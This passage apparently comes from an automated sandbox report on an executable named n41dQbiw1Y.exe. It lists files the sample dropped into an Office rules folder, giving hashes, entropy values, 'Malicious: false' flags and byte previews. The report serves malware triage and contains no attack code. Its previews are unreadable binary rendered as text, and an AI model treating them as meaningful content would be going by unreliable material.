Preview:	.<?...mZ?.+.).U ....2.o.?`..V..%Qh.......0B...2....A...S.PwS/..Y%...+Z..`6......g...O.tP3.o.?j..\...t..(`./.:.0.>....4........I...O..Y. .....F..1l....<.cDL..{.'@..\|..[...p.!x....@.h..W/)d7..{.@.f..{..43i..XE7...m.E..fd!...8v3u.d...H....G...w....K.Cu.q.6....u.....n>.."......!.6..Q.>Q\|\0#.....U..Sm..QU..F>.P....Tx.>..&..[...\|M.2.GWy.g......D!.x}.e...>..nj.7.igR7!..Y#O.w....b>O.....&..V.C+.I;9"...t6..~/.u.}g.'.`<Ox\|.#....1f.M[.... O..5..Q...{..J%`N....}N..l.\|...z`%`../9...`_..zH,.....f@.......#.T..0Py.i..f..{P7.~......2#*..........c..j..b.k.........fQ. .hchIy.mFF0..DT#..e..\.n.H}....:.....7.@...~.. .U. .6...p0....D+J.jW...2u."..h.Wu.:....X.P......J.T..'>..]k..d......p.ph.\|..I.kc.......@...?........+.\|....V....a..]x...xC.....$1.kI3V.1q......y...........F....5.c.n..'.&..{.(\|....(#.....1eS..W?..,...q...,$;X..y."...7.X..PS...M..f..J\...w.....,..>.....cb.t..!.JU...4...r..m...3o-.L.X..o6..q5h..>[...@#.z..p&..P=.............A...]L.M......\|E....of...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.877507976047766
Encrypted:	false
SSDEEP:	48:dX1X14epeMRrXZcSuYMBY8wJPnBU6HcS4yMfsKD:dX11ZpeMBGhYHHPn3cnyhC
MD5:	96A05D2E178A84CACD0744978FCDF357
SHA1:	0A4941A6727FE88455D19E7D66A20B43F6BBF7A4
SHA-256:	AA70AC2B205B6631073F09FC97E9DFF27D774877BE085FC6EC65DCFD61D81A06
SHA-512:	DADCFBD7EACBEFE82D87CD7E9C96D61705991049FB0EDDF87C0BF3ABE33A38680B87E2AC1939ED751E57408E55FA73AE6D009D51B400E7A5EE5E488D02909F89
Malicious:	false
Preview:	.<?e....d.h.]...0.S3..o7;.."m..[..............p.4&..A...feb.....X.+.........2...X.t^..tAQl.4?.._.@G50...R..]c...v......k...I...H...."....s.....9.%7..?..jfG.I..].\|"-.+.....b...1M^u.1?.k8e._..C....pi]..F...V.L..W..N'.8+.....s8.s&........-.....+d..i....E....-u...+D...t...`...R.."....v.O...6..u.~.]1../..A.(.k'.)V....G...;R....oR^H..x.Q/..Y-.K}.KR7..... .......J......./.=./.~wj~...`.....A.>..z..KJ.K...>.v&J.pb9...W %.E....[.......5.Ll.=A....a.v...VX.n.a...DhMg..5P.....{....,^.[..n.....Z.di......n)JDE....)........Q \U2.h..I..1hh.(...8pb.?.e..x....N..07K.q..........Av.eW.;XN{.........Z..e.oZ2M...8.....qK...!....=cpy.B>.7..k-.3jL_[..X}.....T>x....^.... .@....=....... .?.'.,.d<.+bU.6.4..K.U..i...wLO.......+{-..b.M..e...'.."...b...\..sn'.i.Z.?...1/.#.^.x.....e...fN..T?0..........<z]..1..."%Rv.^........Y.{4.b..{...>)..I.M....}.....u...@a@.M.........Af?.g...-.j.r....!....-........FB1k.$P.?....>...KZ.PK...O...A`..Rr...*\|.'.L,J....#.o...)...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.891673865007234
Encrypted:	false
SSDEEP:	48:ZAB9u2CywPg4c4FWlnDX1cqOUXK/xho9Tw1wD:OrcyFsFmnDX1pWiEy
MD5:	C6E3C9EEEB0F9777B77D73D5A30D5F9D
SHA1:	781FB486DE2B843FB57077E19BB120EE13578DCC
SHA-256:	9188FFF3EC8536F41E37CA7CFE26D3D9FA34B8A4202FAB2747E11C139B202D85
SHA-512:	5409CD7EB7888EEAC4886472DAB9EF808C3D459EE0B03BD546C678629D3C77AA2BB8352DA03F4AD31A5ED27F38B75F363C9F8CC55D64F910E2DBE37EA4DB939A
Malicious:	false
Preview:	.<?.q#...".....z......6v..1..7..._.V...D..).A.....-...}[..pX.W.D.C.\|.pE.4.e....K.....g..g...&s.p...&....q.....$D....].%r'........."PGg..."..&,.S!..!H)..-.../oB....W.....L....q......-.pB..]..~.=..S..._5.vf.Hxo..\|f.....>....1...G.j...D.E?1.%i..o%.c....g.?..p..Pc@.q.`=P...C..$.......^Tco.-..4.v $."..g.vJ..w......y}M.\..=.....k.f...7..r..&..\.c...hu..7vH.t.L.Rn.';.9V...A.V...}.!.(.f<...Q....3kUE..iy.r.2.&.Qx.cT...".....l...%(IaR.Mr.h..@.n..,9...!$M.]0..w.o.H.R]s..x..l+....3.5C......8.D!..n."....o....p.)vu8{.)};.8[...5.z..h......x..z...r....K=a...t\1.v....p.SW.....d\,(..7..D.0.+.2...Po.6T.tL.+.!..5F.G...g.....1..X.+{....C3B...r...LKh..y.S(._...,.......V.mO...c....%....T+~..$..o<.M..Y^..v..t1%^......?..-K,.a...v..M...[.........2..Z-0.u.....\|..yw....&$....w.t..S..WO5.."h...?Ll:.!y..Ek.". I._[.....?.k..L+'.3B...c...O_YY<.-.PR..{....\/..7......wG\|.]u..1...=95.!.+.c.t..<.)..../....D..H....!..t..(....^......6.X.V9.._0..dwB.?../..8.]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.899714121239986
Encrypted:	false
SSDEEP:	48:HUkUuHspMI87vrhhcXOSVSuahCEZczHuHXHD:HUNCI872ZaZcaz
MD5:	CD61C0D4C37AFF1162102E5F4007C191
SHA1:	A80AFA9AA9B83BC1845B1B771204512F0F04F35A
SHA-256:	B9D83C70AC9283E8765265A24330C5DE4ECD1868136535C2627034218D370B5F
SHA-512:	9900202B0722B8B3803C0B8FDFF034A6F2DB820EE0497B11C8DCA399FC82942AE929850537E809D83923610EC4BF4B721186F755356946D395E2CF6E71CDDFD1
Malicious:	false
Preview:	.<?.-#3[my...m..Z.6............vw.......).eY........_Ba.'H.3V......3..e.......q1.W.<.E..=f........:...h.G..@.../5;8...f...2@..E..5a....4.7.#}/......J..Uv..@2k..+#..._....q!5.Y.F...Y...uc.r.........b..2S2;..>.....p..)..M.U..E....>.$;.bZ....,j...p.U.p.H..r..V../ge,....Cr.0.1M.2........lGQ....7...4...j=j..th......e.p...ua..Xm.7.8......zdg%.tR...w9r.q..?<m.o..lVOWp.l.H-(....._.....\..5....()..........sY..H..?...$...d..y.I..$.f..d...t.-.~&..d_.u..v...1.p..^_pr...2X.\|...^. .b."+.{....... .@!v....m."..SK....o...=..;.'.4...YK.=..=.Z_n7..x....>..k..#.....C2n....-&.\|..Z.0.fE. -y..Dn...u.1.].*...\|;...D.\.6.!.n..l.=%A.... <....^.,8R..{s.......OP......t.a....g....+.J]....l.dT.`.u/.g"_2...y...3.....d..I`..F..-....hhXF.qR....f.......\$N..O...{NZ"...W_\|...d..A.....9%...Z..$.A......3m..d.j.+^..}(.....2=....<P.S.f$.@{.Y..=....V.4..:F(.Q..,X.oU...A~..0....^.....T........"..&.Y.jf...o. ......S%.(.NN...p.\|..N_n......L....6.v..?a.<......'.:.E.......R

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.884598644628461
Encrypted:	false
SSDEEP:	48:MUwp4aCvYXdgIa4cez02PMLblHfI57pxVXD:MUQ8kWR7ejPYbevxVT
MD5:	B12E7B0C664907879824CA7B06215C51
SHA1:	1EB4FC1067F7AEDA9E26321F975DD5769CBE007F
SHA-256:	025CE3BC0FCDB5FBF4BE4AEB7A929F98F4F1668AB7AFD00009921E651965C8A0
SHA-512:	863EF3A0F24868AE76B478BA57A7918C122BF6DE5CA3B9BC17736F675DA06C17768A1FAC6965653C88890AC524FE02FD063526005212AE5CB833F5C72C96897C
Malicious:	false
Preview:	.<?<..:.;N.....{..=.=..$.Y.7....c:.%Kx.\..J...w..m.....@.-.M....B.jK0.#.?.~olWz....w.r..#t........2\....`_P......][...".......NN..V.C....Su..g..y.~I9E.C.r..d4...y...r[L...\qeJ..BqF.U.....]pk<.f...}~..zP^..:.5.!..G.!.y.f2.;.<_g9....Q..l0e..U.S.w...i.N.../n3..R.K3D.q.VU.Cai..(.{.2'y!.t.>Z.2@X.. ....s.7Q]v..M=.^....w......K.R......Z...\..4c.7.i.Cv...a.J....+.....OM..9....D.....U.c..2x6k.kL..(.H....O...."..>.y-.s.a..z....c......'.=%iM..rC..nZ@P}.....A.)...t.[94...Z....S^...=n..{.v.9x.~.-..n7...?........2......9.....k.....hn...{.`t@..O`.a....\|..).xAd.=.fS...I:.s...".Y.F0.M6-P./`\|..N...Z..0..~-..F!.....6.1[-.N...8...@>...X..y..e.<qdvo....1N..!.Cn....t!.R.....eR..0$.K.EB...o9.\],.c....%s.....t...7.N......;...{;.#;.B.".4#).?..f.../).A)QA.Q...b.....'M...^..k./...p.i..ld...g.E3,G.u#..30..D..8r..~9...!.._....g.+l.[5H.h.<o:.!......_..$.;0.y.9}S...\|F"....A......2-."F.ah#w..%0....60......5.ht...%8B.GC.^?.>o..~.2..ek..8.xhG..Q..4............p.n6.....R.<C.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.885695703253954
Encrypted:	false
SSDEEP:	24:ysvttYqujJ4B3QgAXDrnOfp3epgOPJ0j77eUT0SInFtrPYe6xKM+CpDEHSk1xbD:LvqJ4ugoOfp3eKcJ0L3TdgNM+CaHSshD
MD5:	D4254DAE6C9B10BF2C32C8306BBAFC3C
SHA1:	C9344F8F6B78B7A555BC8719601F7D040D30D932
SHA-256:	E338B27849FFBEE1FB009FFF43D6CC94C39B953974E797CD955664D8A3E43C43
SHA-512:	24617CFCB29A889BB8F7A9AEED48FDC45E8B1203C9D9A7221060B8EF25A74729B989EB7F6930067D0A633E4F5281408FA0956321B545FE0BA1B348A7DDF464C0
Malicious:	false
Preview:	.<?..Z...\|.w#..Pv.0.u..3..0f..\|$....2.)..[~k....5..V.1........z+x.C._......\.h9.7`.Dp.k.....o#...y.e...0.....Y....D.8{a..1..zx\."..c.+.$3...I....u...L../n........EA.KS.!..4.@j.N.~.w.....;........_.!F1.nt............u.!......"./~....Y._X/P^......a...ry.^..P.s~.....w...;..7....2..j\|5.(...{....;.3.`....\|"....!.5y.C..s96..T..D#...Zt..7'...x.b.4...=.......:..M.R..#.l..Q.........^...9..-+......_.g..=y63..H....P.}!..#(].^.^.9.p..p.'.$.....5.g.=Pa............"k.-._......6...o..h.>Y9.+o..M...I]0O&.=......S........B...A..b..87.R...v.fs....i.i..px.+%".r.}a......[J.(..t.rc.P;<r..G(.mb.7....9.........'9}!......{....r..T=Q.'.\|9*s..O......} ..`f/n.E...r.S..yx..j{n.`...H.+_.i........-.$....,.14.5g.t..j....?....0.V.sS.......j......l...l9..H....-.V.V...pY......0Bv.!..M].G.p...9[.XD..:.a.s...Tg...O,a..D..s.....F...N..&..L.n?..E....).C.G.rm-..c..E..6..&....!b^:..=..b'.)._.b..].c..Q.....c-UEF(..^]r........>2.:=2[.....W.....q@\|..zK.\.Q1...I....?i.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.893011620483809
Encrypted:	false
SSDEEP:	48:v9izxvKvcc0SZraO8oaeasBlmQUz8LFfMhD:vKhKv5ZlbazsBcQUz8U
MD5:	8979DD0962EDD37EE75253B96AA38D93
SHA1:	B8488D9880F79F8F6B46EA78C44CD3AA0D235E16
SHA-256:	91F3149A2E390A792E944FED74E784C335A27BBB48DD15363ABE5D10FC60898D
SHA-512:	6007356B52B683B216ACD1BB647D578DF102C0B5515323585644A6A83E3022B9727D789B45BD71CA34F005DE390E780BDD860A8390AB28B6BED496372D079CC2
Malicious:	false
Preview:	.<?..b..\.C0L........O..h..v`].b.u.e;Ll..T..."...cr.aYH^.......;.Xr....Y....+.Je..>_.i..j..\|a.c.RL.&.H...).k...q.\|...^}5~1Y...z...>.F....].l..V......}..t././....'NVfK...3.h[p......A8.eb..4.(.A>.kE.-.v..0..D.A...l>i.a.Y4.X]$.0dE..p4.t=.....I.I.\|..4.)...\|...`.......8i.nM.Yy...%. l}UG.I9..J.....vW...M...jU....?.M...K..\........\|qk....kW!...!...kQ.5\|.F....d...E.....k.hQ.4.!)...xxFs22..f.;.E....]c(+07.....O..VP.\.Wh._..x..4...J...2}GG:#hX..6=].{.h...T.8..........eUA........)k..KX...?.%..5ros.M..@.!......?.@"..gn@..w..b.tje4.[v..x.z.....N..../W}......!l....u0.&.u..R....S%...u..Yw...d.. .l..#..D.2.n..O.e..2;..=Vs.n.x9...Q7...........a+..)...w.Sz./V..2.F...$p.n&.g..<.!jh....j......Qe...x.... ..#.'4.c..-l......g<...J...{.r<k$..m.....v\|.K.?h...0..]..[...oAr......N..s{.>RwB.q.....'...C.<.&...m..h.H......[{.......$..9hy .KQ.L..H<......$..wb...R...&k.\|..2gN...a.....4..i.?'.. .q...Y#{..j....^3L>.~&....d....A..l9^.8\ ..oxH....."h=\|0.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1771
Entropy (8bit):	7.902293234703778
Encrypted:	false
SSDEEP:	48:NOZ5MqqFXAJYhRFXpM6SujkmJN1vStaaD:NO/2vykNwky
MD5:	76D5E72934FF7842C626FE0C497CD923
SHA1:	ABEEAD6840A25DCA362D75BE02885D1D05CFB872
SHA-256:	B4BCDF46439AEBC90C91F7FAB05AED23362E7F14F4B9316C32EA6E32756D65DF
SHA-512:	E04BE3FDD8149229BD85144E74F8C08502901460F57344F5C74A966090F5975F683FEB9D6A64C13B40E785F98FB4E965A84088DAE124DE348E55A8ADE3972A1D
Malicious:	false
Preview:	.<?..)._.a...,.iT...."G.D:>._.r.Wn..g...~...C.G..B.[.K/.....N....B(.g"...d.!5ZZ..rC.Sq.&>..J...........J.E.P.^.Nu..........;V.r..l.{FZ.xx...dAn..^._X.K.k.... (.t.iH...\.M....4q..g.....x.l.....YwR.0.9....N7.f.......^...;..AZ~.3...c'....>k.>..y..=.]..L..P.+.....,v,.......S...17>L:.e5.,U_..._#Y.Y...cO'..{B....K(.?..(.d.... ...D....?ZW..<.+..g]."......~.....a. M....n....]e?}.G..^........:^.w.jY.7...Mg:@)5.....`..zW8...5Xk....&./k..7._.f.....Z.u.\|.d....E..NQ]Q..r.?.)3......q.@k....\|w..,..{..ug5...E7../.eS...%...e_..Xb...%~J=.<Y.-1^...M..8.hP.A...`..{...>..A<6.e....W.n..b:......7....j.... .....Qw..nPV...o$.&,8I.K.(If.sy...??f[G...$....h%g1..2F..n..UH..-...!....wI.g.U.......2.X...QI."n.l....aiJ.\+..'..ew-....8.P..S.H.....G&....S...?..k#......y.Ddn...Iz...^.$l#A._..."....m..Z....`..........l. ..e{y)..Q.\|._V6A.0..yH!.g"..-R.....r.. ...~^.s6..).K.+.lS.u.`....T......pf.....m.. . ..7...2....;..n..A1....Q._...bM... .S4..p/.~"./.4./bC.NiPJ..r

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.881780411935708
Encrypted:	false
SSDEEP:	48:NYHmPJ+ha62LCFoymsTKdyWBOHXSmg6SC4D:NSmPJJcYkyUCmgyk
MD5:	F10E3FA4B1CAAA658FA0A477FF30F7C5
SHA1:	2143F806D594F31D52AF9D609EF46543DEAF2866
SHA-256:	1891B157152BCC265F89D5C94009FC07E67D6B90CFCB5805C4CFC59F2997998F
SHA-512:	6852FF42130A5E5DDD5FB91CA8AD9508003D95B2E031731F691CBF7DB1E85255BC877D5D7081B340B4D51DD3A4CACC12C66351E8B6565C719E96D0896C3C1773
Malicious:	false
Preview:	.<?.]_.W.........VmTzIxUjt.i...w=.<.\V..`".8.[.s.&C......X0f..v=o.#....R...<.l...%.4..!./.`..E.;..........B.Q.(..C.........%Z^.......H(.I}.]x.R........nM\|r...cF...WSr.B.]..9.xa.....M...-n.1..&d\2..MqY.t^.S....<xI..L_d.E......Vc..D....z.;..4......[...1m.SN..r..Z.u....X.........!l$\|z}k.L..0H....J\.N.i...M/n........m.#.~....kns`......f......;"...e....Y..n]1..d..$.K.0....Z\|...hL.c..-.....\0.O.....7..,.......y.....~...m..k....#+.s7....G...s_....Z..m..= ~K.4.o.8.6...x.....k.........H.b.....vm..i.h\.n....j+.Z... t.xpu...........+..}..&...Do..W".G....l~..r.z.....^.C..)=...9B.....6^.r.O.+X...zt.@..'60...D.x...w.Ym............!kA.aq..&.b5.1#<+B.y..#F.1.....r..r.{[\Y....)..`O.+.Z...T...V......9R...~.J...z....gE....^..0.]..M...k..u..i...K...J....L.pw.2.W....<...Pw.\|s.;..8...kC..h.e..M..$2[5..wR........o.Xo...........6......tm.5....l...T..q.:........G..\q.y...\|.........J?.....;..0...<..=.E..MO..`......F\....K.o...A.Z!..O..%2.L.Y..X

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.888736409757328
Encrypted:	false
SSDEEP:	48:FZ0+5UNQG/iH5OkmM9x8hGSjGdsIXylM8Ap5KvokeeD:s+5+XuIPcx8hGS2yWjp5ET
MD5:	62D303412899C0C91E1C7DBC40C27C2A
SHA1:	99BA905359404A4131C8D37EF2DD288B9736E76D
SHA-256:	5AC04958E679F1C8629EAA547A3F9A6CFD999D19F29D8A56F4CF711920113A6B
SHA-512:	A554CD94620A22125D613F85DDD8817C479AE7EC4E94BAADEA5368F580E9451DEA43624ABD84D94A95D476849442F320BAFE01B71464872F6F60DF0B3B6F0528
Malicious:	false
Preview:	.<?.....e.lm+F.H.Y.w.{..XI6./.$t..r/....S.PO[a.........fF.....V...x15!..us..[......4.....m.>.R..d.9.....@....n..T._.......p...G.T.6..l..$4.^...@......<.:..}Qg.S\|v"V...<...\|......"..d%O...\B.s.O-..(....'s.....`..6..d.S..q..v.#....gd.}....u.8N...,....k.V............P3.......9d....][Jeg@..,........qZ.c...q.,...7.L.A<..!_..r..B.'.zo...$...m..~..1...HF.n.<.j....'.r......i........n. ..........8..\|f.l..(B....~.s..Ew...4..:%.J..N......,e$,~T...v..?...-2...'.@.F...t..M....J[...O.+.y)u..`...X...e.g...s.+..M.=..o8+..'..g........._%F'....v..5....QX@.C....,..'.......g\.ll...Hw.d:..O=..yR.g..S.. .L....M.,aTS....i..~..#wZ.^`.....O=P..E..2.f.K.!..8.1...._.........Q.......8.....'.....<BbO.fh........AU.4........+.xX...%.....UK.8..WK.M..+..O.../q.q.....nDpqC........+.;.]c]..0x.B.v.POM."Hq(.X.............O^b.I.#...p.>...._.Q.........~6.$>....r.z#.....Gor.`@.....Q....qWc.."..?...*JoH...M..tn....b....NT....;<.Z.l.X ...L.y?...#.5.......1.+..-.g/..G....g...n.?.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.876106269394316
Encrypted:	false
SSDEEP:	48:2ha6l9k6e3osKV2tslvjidlgNSuNt6IV3IiIDD:2ha6Tk6e3LKVnvGdgrNt6KI3
MD5:	72A06BA06F6E26F3E6D6804291187159
SHA1:	01A6CCBDD8165E3015861ECF17E8279F560034F4
SHA-256:	22E45D27908A606B30D871E80F431FD3D70AD9AC5C8123374502E18BD6A753BC
SHA-512:	DAEEC978E3D1EF15A595B0D41BF5418FAB6CC8F78F518CE4868A9137B3A1C80DB0E3B64E1F6532220E583A0B231BD8184441F75F1A12176C1B309218297181B8
Malicious:	false
Preview:	.<?shP`.h.........."doO..p...To......n.X.4..k.U....8...0;..u.`....-.v...}.54..g....M.,LD...lD...a.....BgLy=.a...$!..o.. ...^g.CT...{....D0..kX&.....Tv..5..G.h..V'..[I.."I..`...<^....o\.Rs.Q..#2...A.:.q.=.Aj.4..{...VX.._K.l.><V......0i..?Q..`;B.[.s.....(.b..{.U..a.,O...V1.....T......D.4...h...~+.Q..[.tM...mK'.........]z.......<..B.:r1F.....<.U..-k...?y..UyB%..lS..m.C.\.nR..{E8.+.>.Y......sJ.]H._uDe5.58!_.M'...O..b..\r.d.n.:i........c...E....S......D..O...k_."./<_.AS.u..~....j5.Z..os..\|...6..6.P.....v.E?~._%.c....(Z...=.m..i.iM...`E.....O....q..."...+\.I...a.+.....Y8..Um5..q.P.....@..j>.-".q.11.... ...b..cs.....O@..$Y.5..U..Asm\|G....T.l....k..x..q...6g~...u...{(.[.......H...f....s9.@.f{Q.i.n..U..j.-+(....<n".......u.j(0....@...F.N.....N...2..Rb..6q....tP.:0<G.........` .k%#z.g%.e....+c.P#w.0n`.-...]...< ..$....q..!...R..F.$...W.....Qr.O.Q.GSo..Q.x)..py...v..-.`..)....Y....p..g.D....u.....k.\.p...l.l+..1.oj.YpW.p...G`1-].....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1776
Entropy (8bit):	7.900244153356801
Encrypted:	false
SSDEEP:	24:zKAsSroqVp0ZS+OrrXuRd3S4w+aIDwJEAEi09XuMzTWeuMmjCXvgIpj7bWi86LQJ:Droq3JXa0rGi09+AwCYW7bz8EM/GO5/D
MD5:	5212D88D8FF998871FF2B63149BEF9B5
SHA1:	E0F3EAB73B11FBC33959231C74E4BED990462606
SHA-256:	08EF87C548AC4374C9644528568E553C0C9ECD9CC6708D56BFD51B000ACE5055
SHA-512:	9F39FCA8B5B673E33D158587E408366877AFEEA88BED712EBA9244FEB10BFB5B3C801B083F0C053B5B4C7AD6B1EE009383E873E6BA82B37AB64E580C9D4894D9
Malicious:	false
Preview:	.<?..4.....{..L.8=.>.....n..23.(..^..DA.i.~7........U.K....@.,.;....M..S2.6O.`..f.Q.wi;W...(..)....T1.F?....Ro..>........o...4Q@.....i.;.U.+...n...ig....#.B..../.2..."..........D\|.bc$......`,...d.5.! =U.+..E.q9...Aa/U..T...mC..-~..j..<..`..e"..v.t\...z..w...V.n.....e.....I....Sk..m-...g.h...i&....N.t.4..0.=.}.&:.V.O0...r.PU..Xa..9...t..:<.PS.tU8............;&f...N(.../.+.,j....D.....m.S.WW.:.....3..]....=..u.....P.C.g\|..RO..~...I7)C+..(.U...<y&.S+.Q&...dA.\|.....h,[.Q......$C.J$]m@..0.O#..-.....j.yJ'l..;mF...lBteJ.eg....c..":}F'c.._=..w.N...qZv...e.,Y...b'.si...%_....j..<.../....E......j@.J..l..3^.a~:...L+...Q....j[\|......<...l]......4.\|q...~nTv=...).......W..+.....D.g}x\.%k.q..+...+d.{]..Q&......V;.'l=f._..\$....iA....m.l....m<,.Ps..../..9-u...#...$9{.B......{Do.....?.......r.ojY..o...w.CA..^#..V~.@...0...\.... ..46..m.!wo.+m..:............n+...}m~....E$0...qh.$>.;9P....[.Px..".5V]...X.........s..+s.......C.....i......u.)R;..0.vF.M...e...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.886549797919883
Encrypted:	false
SSDEEP:	48:JuI2ZJEKingZGatpn1O/0AHyio6CzdtwIvCN7z7D:sDZyVnV88lSio6CvwIvyz3
MD5:	844E7665774B30BA3668CE7BD9EF08F4
SHA1:	AC3383288BB619901362ABE9F1B304F3610B9E9A
SHA-256:	F1CE734DB6553E4BCC1C8674D6404394D8EE9295400AC0DA2EA658E2A11B0E30
SHA-512:	3FB37E79B342557921B73BB74249F0E4FE9EFB2F1366A14801EC168F073D3970A76BF646D68AD51013B05DC63F9E8EAC2056D742C0608FBE821B9EB4BFF64E60
Malicious:	false
Preview:	.<?~U:..W/{..)d..H..9.+..."...@....@.h;...P.L..!....J..Ry...rasNY..ws8..e%.\|.f...,.H..EF..q&_+N.SW..O...z....Fv......t.....U.t.2O...c......:.oy.....s.$.+.._`:....`S.kK.3.Q.g.@..;.A).R....m..]...'...(...........f.J.gs....8.j.M.B~.n.e0..=L6.OrC6S\|..g..L ...'o.N...H...... ..7.K..J...6T..c..`..n..^....R....t...d..$e..P...x..c8....66(:...s0...X.6.Y.N\.Cy.!......)...\|.a...N..w....#..t_..@..0sv.....*..B......3...i..5.e......K...b.....B0u..%p..'....6........V....=.\|.R..\|........S.\|..I............@.y@.'.2.4.vl/3.I"&.&...../@..2_....i....,.5\|..k.P...x....a...>r...mJ....7....xq>..?..e.Y......F.!..Vb...55.. ....7N.7@.......Ey3..0...u...+.V8i...E....+.tE.@..w^"..Pa..I.....C..m.Y+..SP.-...A.Y/>...t...9..r\|KG.+..~.i.`.b.3..=`.....3..p-.h..-....^.....h.u..lG-Ib...>..Pc.G....Z.E-.I9...$..f,...i._..#..:7%6.^%&..EUX."}......vs.Rhl.P..d[BZ.0'...6Z ...}.)q'NB..1=..2[......6.s8.h.~.2i..0U....#X3...4.i.4L.w)..~.%/.\0~ff."T......c....W-...........K.7.o`,.9....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.901402676206903
Encrypted:	false
SSDEEP:	48:nLQSCoqBOXoQMBrpA84zB96CUlBNnYftD:nLfCoqXQMBrpF4zm3BK
MD5:	DE2A35C8F88052B9F3D52EBAE08DA656
SHA1:	FFBE9E11E1EC0E64E86F68C073F1AF267B6C88EE
SHA-256:	BFBBA418876BC0C106E7031104CCEC6DC3DA0D70334FF6BB0763D4A2491D2724
SHA-512:	877475C7BEDAB0576CDE6281E7D0E882AAE6AB5271C00C15D6EDE09182AB51A8589B3E24D2C757D24C10F4C4BF41DB2B4EF610BBDA1FE3368B20C78C69B91140
Malicious:	false
Preview:	.<?<6.w.C..aO0....O. [..$.qc...[.$....i...ULV...-..$....j.\r\|.....~.Z.D.........=.).mTh...r....5.Dt.c..?.(.D...6.<.._.....a7.Ph...M7G....@.....a3..h...Jf\|.4a...0.......S,......\|R.%.T^!{.=.H..z<c.e.R?.....q$..cj.'.c>.n..Q.x.YF....X.v...O.pL.w,....r}t<......../q.xR^......L....&\.#}...=....J..C.jk...ZN.2@.ap...._.Gi...}&^.;...kH..[=.......qA...x_.t....W.'..Q.:.3N..-.4.3`...1...".....7.304..s.....f^h...U..U.o.....Q.i..l.2...K...=\|.....qv......+(.<A.[.\|S..Q.Q.../.j....n..~..>...M].f5...T...l..c....'....E.`rI!..#K..g....E..~8...g}....u...G..JkF.@.....l...OG.q...}...o."F.%.N.V...NZU...1...Uti...rw..EE,.Qw(A...;..-\|].M.../...S.h.pxDT.o....o.....i.;6.U...B.B...2\..;........Co....6.l.......,...G@.~uQJ_...y$..m.W.;...+../.R...'uc.k..Tx...U..S...:.n.t....DQ.zu..I.5....<.2.S.../.b^....=....L\J..j.<...])....W........9....d9...E.......1&9...N.[\|]...bfE.+.\|.H....#%0....W...Ej>,.Wf...P..d..6.......r..m....wH...+.n_.I.[.9....Q.U@.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.881464471445796
Encrypted:	false
SSDEEP:	48:seSr+CeJKFhqFf+7Qu4dalNM5ZHgazMYiSFmYvD:B4Fs+sMNoFv5FD7
MD5:	4FD9FDE1370808222952DC09216DF2AD
SHA1:	C362A1FCDEF9A93F48EC8E932752248AFB58E68A
SHA-256:	C92B5CC150ECA41C371F02E15F183EDE91C1A0FAC052DA0CFD4A25D4C4524B58
SHA-512:	1477F2D38DC60F04F8A0F3B7D1A48EA92DA9777ED0E3C75CCCC119764E0AAD52B3B27CBBB79FE08E234DF766609505A522AB92470D7BD09AD45315F2389BED3A
Malicious:	false
